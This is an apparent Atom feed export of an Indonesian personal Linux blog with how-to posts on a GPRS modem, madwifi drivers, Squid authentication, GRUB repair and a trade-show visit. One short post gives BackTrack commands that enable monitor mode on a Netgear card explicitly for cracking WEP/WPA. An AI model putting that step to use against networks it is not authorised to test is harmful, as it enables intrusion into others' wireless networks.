/&gt;&lt;br /&gt;contoh :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/R-fpp8ORueI/AAAAAAAAAKI/3dL1mK8t6_w/s1600-h/snapshot-pppconfig-13.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/R-fpp8ORueI/AAAAAAAAAKI/3dL1mK8t6_w/s320/snapshot-pppconfig-13.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181366803062962658" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Kalo berhasil konek, di System Log akan ada tulisan seperti ini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/R-fvL8ORugI/AAAAAAAAAKY/l6xHM2U-aSg/s1600-h/snapshot-pppconfig-14.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/R-fvL8ORugI/AAAAAAAAAKY/l6xHM2U-aSg/s320/snapshot-pppconfig-14.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5181372884736653826" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Untuk matiinna pake perintah :&lt;br /&gt;&lt;br /&gt;# poff [nama_provider]&lt;br /&gt;&lt;br /&gt;Taraaaaaaaaaaaaaaaaaa... SonEr w200i telah berhasil menjadi modem di lappie :P :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-4740770096735234494?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/4740770096735234494/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=4740770096735234494' title='12 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4740770096735234494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/4740770096735234494'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2008/03/sony-ericsson-w200i-gprs-modem-with.html' title='Sony Ericsson w200i GPRS Modem with Ubuntu 7.10'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/R-fkWcORuTI/AAAAAAAAAIw/RiqRnJFZVkg/s72-c/snapshot-pppconfig-10-1.jpg' height='72' width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5156028754417262127</id><published>2008-03-22T00:11:00.012+07:00</published><updated>2008-03-22T00:56:40.613+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>DLINK DWL G630 with Debian 4.0 Etch &amp; BackTrack 2.0</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/R-PvR8ORuNI/AAAAAAAAAIA/BnVcIHsOXuM/s1600-h/DWL-G630_main.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/R-PvR8ORuNI/AAAAAAAAAIA/BnVcIHsOXuM/s320/DWL-G630_main.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5180247087909026002" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hari ini aq beli WLan Card PCMIA buat si lappie, yaitu &lt;a href="http://www.dlink.com/products/?model=DWL-G630"&gt;DLINK DWL G630 Rev.C2&lt;/a&gt;, WLan Card ini menggunakan chipset Atheros &lt;br /&gt;AR5005G. Aq coba dengan menggunakan Backtrack 2.0, hasilnya sangat memuaskan. Berikut hasil dari perintah lspci :&lt;br /&gt;&lt;br /&gt;# lspci&lt;br /&gt;&lt;br /&gt;03:00.0 Ethernet controller: Atheros Communications, Inc. AR5005G 802.11abg NIC (rev 01)&lt;br /&gt;&lt;br /&gt;WLan Card terdeteksi dengan baik. Tetapi untuk Debian, WLan Card ini lom terdeteksi dengan baik. Karena lom terinstall madwifi. Untuk mengatasina, aq perlu install madwifi ke Debian aq. Carana :&lt;br /&gt;&lt;br /&gt;1. Edit terlebih dahulu file /etc/apt/sources.list, tambahkan alamat repository untuk binary dan source package (seandaina lom ada) :&lt;br /&gt;&lt;br /&gt;# vi /etc/apt/sources.list&lt;br /&gt;&lt;br /&gt;deb ftp://ftp.au.debian.org/debian stable main contrib non-free&lt;br /&gt;deb-src ftp://ftp.au.debian.org/debian stable main contrib non-free&lt;br /&gt;&lt;br /&gt;2. Jalankan aptitude update untuk mengupdate list package dari repository baru kita :&lt;br /&gt;&lt;br /&gt;# apt-get update&lt;br /&gt;&lt;br /&gt;3. install paket madwifi-source dan madwifi-tools :&lt;br /&gt;&lt;br /&gt;# apt-get install madwifi-source &lt;br /&gt;# apt-get install madwifi-tools&lt;br /&gt;&lt;br /&gt;4. Jalankan modules-assistant untuk mengkonfigurasi module madwifi :&lt;br /&gt;&lt;br /&gt;# m-a prepare&lt;br /&gt;# m-a a-i madwifi&lt;br /&gt;&lt;br /&gt;5. Akan tampil menu seperti ini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/R-Py9cORuOI/AAAAAAAAAII/Qc_seVV60r8/s1600-h/snap-m-a1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/R-Py9cORuOI/AAAAAAAAAII/Qc_seVV60r8/s320/snap-m-a1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5180251133768218850" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pilihlah SELECT untuk memilih module yang akan dikonfigurasi, lalu pilihlah module madwifi dengan menekan tombol spasi seperti ini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/R-Pz7cORuPI/AAAAAAAAAIQ/htZ4UMyELv8/s1600-h/snap-m-a2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/R-Pz7cORuPI/AAAAAAAAAIQ/htZ4UMyELv8/s320/snap-m-a2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5180252198920108274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pilih Ok, lalu akan muncul menu lalu pilih BUILD, seperti ini :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_C4OekAEc7cI/R-P07sORuRI/AAAAAAAAAIg/sxjWtjkl1lU/s1600-h/snap-m-a3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/R-P07sORuRI/AAAAAAAAAIg/sxjWtjkl1lU/s320/snap-m-a3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5180253302726703378" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Setelah module di build, pilih INSTALL untuk menginstal module kedalam kernel :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/R-P1d8ORuSI/AAAAAAAAAIo/lXZ5NbDuhbA/s1600-h/snap-m-a4.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/R-P1d8ORuSI/AAAAAAAAAIo/lXZ5NbDuhbA/s320/snap-m-a4.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5180253891137222946" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tunggu sebentar sampai selesai, lalu pilih BACK dan keluar dari menu.&lt;br /&gt;&lt;br /&gt;6. Setelah itu kita akan mengetes apakah module sudah terinstal dengan baik dengan perintah :&lt;br /&gt;&lt;br /&gt;# modprobe ath_pci&lt;br /&gt;&lt;br /&gt;Bila tidak ada error, kita bisa liat pada file syslog atau dmesg hasilnya :&lt;br /&gt;&lt;br /&gt;ath_hal: 0.9.16.16 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413)&lt;br /&gt;wlan: 0.8.4.2 (svn 1451)&lt;br /&gt;ath_rate_sample: 1.2 (svn 1451)&lt;br /&gt;ath_pci: 0.9.4.5 (svn 1451)&lt;br /&gt;ACPI: PCI Interrupt 0000:02:02.0[A] -&gt; Link [LNKC] -&gt; GSI 10 (level, low) -&gt; IRQ 10&lt;br /&gt;wifi0: 11b rates: 1Mbps 2Mbps 5.5Mbps 11Mbps&lt;br /&gt;wifi0: 11g rates: 1Mbps 2Mbps 5.5Mbps 11Mbps 6Mbps 9Mbps 12Mbps 18Mbps 24Mbps 36Mbps 48Mbps 54Mbps&lt;br /&gt;wifi0: H/W encryption support: WEP AES AES_CCM TKIP&lt;br /&gt;wifi0: mac 5.6 phy 4.1 radio 1.7&lt;br /&gt;wifi0: Use hw queue 1 for WME_AC_BE traffic&lt;br /&gt;wifi0: Use hw queue 0 for WME_AC_BK traffic&lt;br /&gt;wifi0: Use hw queue 2 for WME_AC_VI traffic&lt;br /&gt;wifi0: Use hw queue 3 for WME_AC_VO traffic&lt;br /&gt;wifi0: Use hw queue 8 for CAB traffic&lt;br /&gt;wifi0: Use hw queue 9 for beacons&lt;br /&gt;wifi0: Atheros 5212: mem=0xd0000000, irq=10&lt;br /&gt;&lt;br /&gt;7. Kita tambahkan module agar bisa dijalankan via hotplug dengan perintah :&lt;br /&gt;&lt;br /&gt;# echo ath_pci &gt;&gt; /etc/modules&lt;br /&gt;&lt;br /&gt;Taraaaaaaaaaaaa.... sekarang si WLan Card sudah bisa digunakan di Debian :) :). Coba ketikan perintah iwconfig untuk melihat interface baru :&lt;br /&gt;&lt;br /&gt;# iwconfig&lt;br /&gt;&lt;br /&gt;wifi0     no wireless extensions.&lt;br /&gt;&lt;br /&gt;ath0      unassociated  ESSID:off/any&lt;br /&gt;          Mode:Managed  Channel=0  Access Point: Not-Associated&lt;br /&gt;          Bit Rate:0 kb/s   Tx-Power=20 dBm   Sensitivity=8/0&lt;br /&gt;          Retry limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;          Encryption key:off&lt;br /&gt;          Power Management:off&lt;br /&gt;          Link Quality:0  Signal level:0  Noise level:0&lt;br /&gt;          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;          Tx excessive retries:0  Invalid misc:0   Missed beacon:0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5156028754417262127?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5156028754417262127/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5156028754417262127' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5156028754417262127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5156028754417262127'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2008/03/dlink-dwl-g630-with-debian-40-etch.html' title='DLINK DWL G630 with Debian 4.0 Etch &amp; BackTrack 2.0'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_C4OekAEc7cI/R-PvR8ORuNI/AAAAAAAAAIA/BnVcIHsOXuM/s72-c/DWL-G630_main.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6191887374079491285</id><published>2008-03-19T07:48:00.005+07:00</published><updated>2008-03-19T07:57:48.299+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Dlink DWL G311v1 with Backtrack 3 BETA</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/R-BjgZyP_3I/AAAAAAAAAH4/Xmj8pNeyOuw/s1600-h/WG311.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/R-BjgZyP_3I/AAAAAAAAAH4/Xmj8pNeyOuw/s320/WG311.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5179248979804684146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Beberapa waktu lalu aq beli WLan Card Netgear WG311v1. Kebetulan untuk versi 1 menggunakan chipset Atheros AR5212 (b/g).. Distro Backtrack 3 Beta aq jalanin Live CD, setelah boot n masuk KDE nyoba apakah si WG311 ini udah terdeteksi oleh Backtrack. Masuk ke console trus pake perintah :&lt;br /&gt;&lt;br /&gt;# iwconfig&lt;br /&gt;&lt;br /&gt;Ternyata si Backtrack udah terdeteksi dengan baik, ada 2 interface WLan yaitu wifi0 dan ath0 (athx biasana mang digunakan untuk interface dgn chipset Atheros). Tapi pas pgn jalanin Airodumo ato Aireplay ada error bahwa si WLan card blom pada mode Monitor. :( :(&lt;br /&gt;&lt;br /&gt;Setelah Googling sana-sini akhirna menemukan solusi untuk menghidupkan mode monitor pada WG311 :) :). Carana masuk ke console trus pake perintah :&lt;br /&gt;&lt;br /&gt;# ifconfig ath0 up&lt;br /&gt;# wlanconfig ath1 create wlandev wifi0 wlanmode monitor&lt;br /&gt;# ifconfig ath1 up&lt;br /&gt;# ifconfig ath0 down&lt;br /&gt;&lt;br /&gt;Perintah diatas akan membuat interface baru yaitu ath1 dengan mode monitor, selanjutna si WG311 dapat digunakan untuk Cracking WEP/WPA :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6191887374079491285?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6191887374079491285/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6191887374079491285' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6191887374079491285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6191887374079491285'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2008/03/dlink-dwl-g311v1-with-backtrack-3-beta.html' title='Dlink DWL G311v1 with Backtrack 3 BETA'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/R-BjgZyP_3I/AAAAAAAAAH4/Xmj8pNeyOuw/s72-c/WG311.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-2968804567569240159</id><published>2008-02-03T00:34:00.000+07:00</published><updated>2008-02-03T00:49:41.893+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Membuat Authentication untuk Proxy SQUID</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/R6SqdsJuB5I/AAAAAAAAAHo/_9wt4ATxDt8/s1600-h/proxy_simple.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/R6SqdsJuB5I/AAAAAAAAAHo/_9wt4ATxDt8/s320/proxy_simple.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5162438499918284690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PErnah punya Proxy yang ingin dipakai oleh user tertentu saja?? Di Squid tersedia beberapa pilihan authentication yang bisa dipakai, diantarana :&lt;br /&gt;&lt;br /&gt;=&gt; NCSA: Uses an NCSA-style username and password file.&lt;br /&gt;=&gt; LDAP: Uses the Lightweight Directory Access Protocol&lt;br /&gt;=&gt; MSNT: Uses a Windows NT authentication domain.&lt;br /&gt;=&gt; PAM: Uses the Linux Pluggable Authentication Modules scheme.&lt;br /&gt;=&gt; SMB: Uses a SMB server like Windows NT or Samba.&lt;br /&gt;=&gt; getpwam: Uses the old-fashioned Unix password file.&lt;br /&gt;=&gt; SASL: Uses SALS libraries.&lt;br /&gt;=&gt; NTLM, Negotiate and Digest authentication &lt;br /&gt;&lt;br /&gt;Kali ini aq coba bikin authentication dengan NCSA dengan Squid 2.6 STABLE 18.&lt;br /&gt;&lt;br /&gt;Dengan asumsi proxy Squid sudah terinstal, maka kita perlu mengubah beberapa line di file /etc/squid/squid.conf. Tapi sebelumna kita perlu membuat file passwd yang isina nama user beserta passwordna dalam style NCSA. Masuk ke terminal dan ketikkan perintah :&lt;br /&gt;&lt;br /&gt;# htpasswd /etc/squid/passwd usersquid&lt;br /&gt;&lt;br /&gt;Perintah diatas berarti akan membuat file baru /etc/squid/passwd. Nanti ada prompt untuk memasukkan password si usersquid :&lt;br /&gt;&lt;br /&gt;New password:&lt;br /&gt;Re-type new password:&lt;br /&gt;Adding password for user usersquid&lt;br /&gt;&lt;br /&gt;Setelah itu kita harus tau dimana binary ncsa_auth disimpan :&lt;br /&gt;&lt;br /&gt;# dpkg -L squid | grep nsca_auth&lt;br /&gt;&lt;br /&gt;Hasilna : &lt;br /&gt;&lt;br /&gt;/usr/lib/squid/ncsa_auth&lt;br /&gt;&lt;br /&gt;atau dengan :&lt;br /&gt;&lt;br /&gt;# rpm -ql squid | grep nsca_auth&lt;br /&gt;&lt;br /&gt;hasilna : &lt;br /&gt;&lt;br /&gt;/usr/lib/squid/ncsa_auth&lt;br /&gt;&lt;br /&gt;Abis itu kita harus mengedit file konfigurasi si Squid di /etc/squid/squid.conf. Buka file tersebut dengan teks editor kesayangan :P lalu tambahin line2 berikut :&lt;br /&gt;&lt;br /&gt;auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd&lt;br /&gt;auth_param basic children 5&lt;br /&gt;auth_param basic realm Squid proxy-caching web server&lt;br /&gt;&lt;br /&gt;Lalu cari bagian tag http_access dan tambahin ACL berikut :&lt;br /&gt;&lt;br /&gt;acl ncsa_users proxy_auth REQUIRED&lt;br /&gt;http_access allow ncsa_users&lt;br /&gt;&lt;br /&gt;Restart service Squid, n coba setting proxy di Browser kita... nanti kalo bener akan ada prompt box seperti ini :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_C4OekAEc7cI/R6SsvMJuB6I/AAAAAAAAAHw/0ZuVJGFcbH4/s1600-h/squid-proxy-prompt.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_C4OekAEc7cI/R6SsvMJuB6I/AAAAAAAAAHw/0ZuVJGFcbH4/s320/squid-proxy-prompt.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5162440999589250978" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hehehehhe, sekarang yg mo make proxy kita harus login terlebih dahulu :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-2968804567569240159?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/2968804567569240159/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=2968804567569240159' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2968804567569240159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2968804567569240159'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2008/02/membuat-authentication-untuk-proxy.html' title='Membuat Authentication untuk Proxy SQUID'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/R6SqdsJuB5I/AAAAAAAAAHo/_9wt4ATxDt8/s72-c/proxy_simple.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5540570530620482656</id><published>2008-02-02T18:56:00.000+07:00</published><updated>2008-02-03T00:33:03.280+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Install GRUB via Live CD Ubuntu</title><content type='html'>Kemarin temen aq pgn install dual OS Windows - Linux.. tapi sayangna Linux duluan yg diinstal, setelah itu Windows.. Apa daya sang GRUB hilang dimakan ma Boot Loader Windows (huh!!! :P)... &lt;br /&gt;&lt;br /&gt;OK, yg pertama dilakukan yaitu Boot dari CD Ubuntuna (ya iyalah, kalo gk gimana dunk :P)... Seperti biasa kita pilih Start or Install Ubuntu.. Tunggu ampe desktop si Ubuntu muncul... And then, jalanin Terminal.. kita ketikin perintah berikut :&lt;br /&gt;&lt;br /&gt;$ sudo grub&lt;br /&gt;&lt;br /&gt;Nanti kita akan masuk ke prompt si GRUB&lt;br /&gt;&lt;br /&gt;grub&gt;&lt;br /&gt;&lt;br /&gt;Setelah itu kita nyari lokasi dari instalansi GRUB pertama kali dengan perintah :&lt;br /&gt;&lt;br /&gt;grub&gt; find /boot/grub/stage1&lt;br /&gt;&lt;br /&gt;Hasilna adalah lokasi dimana GRUB diinstal, biasana bentukna kayak gini :&lt;br /&gt;&lt;br /&gt;root(hdx,y)&lt;br /&gt;&lt;br /&gt;Dimana x dan y adalah angka. Setelah itu ketikkan di prompt grubna sesuai dengan hasilna, misal kita dapat hasilna root(hd0,0), maka ketikkan :&lt;br /&gt;&lt;br /&gt;grub&gt; root(hd0,0)&lt;br /&gt;&lt;br /&gt;Abis itu kita akan menginstall GRUB ke MBR hardisk kita dengan perintah :&lt;br /&gt;&lt;br /&gt;grub&gt; setup(hd0)&lt;br /&gt;&lt;br /&gt;Kenapa hd0? diasumsikan hardisk kita adalah Primary.. :P Setelah itu nanti ada keterangan2 yang nunjukkin kalo GRUB dah terinstall dengan baik di MBR. kalo udah, kita keluar ajah dari prompt GRUB :&lt;br /&gt;&lt;br /&gt;grub&gt; quit&lt;br /&gt;&lt;br /&gt;Taraaaaaaaaaaaa... si GRUB dengan sukses terinstall kembali di MBR Hardisk.. hehehhe sekarang tinggal nambahin option boot untuk si Windows.. &lt;br /&gt;&lt;br /&gt;Buka teks editor, bisa pake Kate, ato KWrite ato via terminal juga bisa (tergantung selera jah :P)... &lt;br /&gt;Buka file /boot/grub/menu.lst, lalu tambahin line berikut di paling bawah :&lt;br /&gt;&lt;br /&gt;title Windows XP&lt;br /&gt;root (hd0,1)&lt;br /&gt;makeactive&lt;br /&gt;chainloader +1&lt;br /&gt;&lt;br /&gt;Perhatikan line root (hd0,1), berarti partisi windows kita ada di partisi ke 2 (ditunjukkan angka 1) dan berada di Hardisk Primary (ditunjukkan oleh angka 0). Ubah nilai tersebut sesuai dengan kondisi yang ada :P... setelah itu reboot :&lt;br /&gt;&lt;br /&gt;$ sudo reboot&lt;br /&gt;&lt;br /&gt;Taraaaaaaa... setelah reboot kita akan dapat liaht menu GRUB dengan option boot untuk Linux n Windows :D :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5540570530620482656?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5540570530620482656/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5540570530620482656' title='4 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5540570530620482656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5540570530620482656'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2008/02/install-grub-via-live-cd-ubuntu.html' title='Install GRUB via Live CD Ubuntu'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-2101577038855515556</id><published>2008-02-02T18:52:00.000+07:00</published><updated>2008-02-02T18:56:14.065+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>Back to Nature</title><content type='html'>Waksss.... kasian Blog aq dah lama gk diupdate.. hehehehe karena disebabkan 1 n beberapa hal jadina kemarin2 malessss bgt update blog... tapi sekarang mulai yakin n niat tuk nge-blog lagi ... xixixixixixiixi thx kepada yg suka main ke blog aq walaupun lom diupdate :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-2101577038855515556?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/2101577038855515556/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=2101577038855515556' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2101577038855515556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/2101577038855515556'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2008/02/back-to-nature.html' title='Back to Nature'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1823833721248494889</id><published>2007-11-18T09:09:00.000+07:00</published><updated>2007-11-18T09:38:21.422+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>15th INDOCOMTECH 2007 - JCC</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/Rz-iitiIwBI/AAAAAAAAAGI/XRoLtrKtuZY/s1600-h/DSC00178.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/Rz-iitiIwBI/AAAAAAAAAGI/XRoLtrKtuZY/s320/DSC00178.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5134000817447682066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;INDOCOMTECH 2007 in Nov 14-18, will be occupying Hall A, Hall B, Cendrawasih and Plennary Hall at the Balai Sidang Jakarta Convention Center.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Kemarin hari sabtu, 17-nop-2007 aq n temen2 main ke pameran INDOCOMTECH di JCC. Begitu nyampe langsung nyari tempat buat duduk n buka si lappie. Hehehe biasa, pemburu hotspot gratisan :P. Pas dicari berapa AP yang aktif pake perintah "iwlist &lt;interface&gt; scan" , ternyata banyak juga :) (hasil scan dapat didonlod &lt;a href="http://myfreefilehosting.com/f/dbd9ce6879_0.1MB"&gt;Disini&lt;/a&gt; atau &lt;a href="http://www.geocities.com/emomelodicfreak/JCC.txt"&gt;Mirror&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Yang dateng lumayan banyak, karena selain pameran juga terdapat seminar n workshop yang diadakan setiap harina :). Aq sempet ngeliat2 n moto2 beberapa booth :) Ada booth yang menarik, yaitu 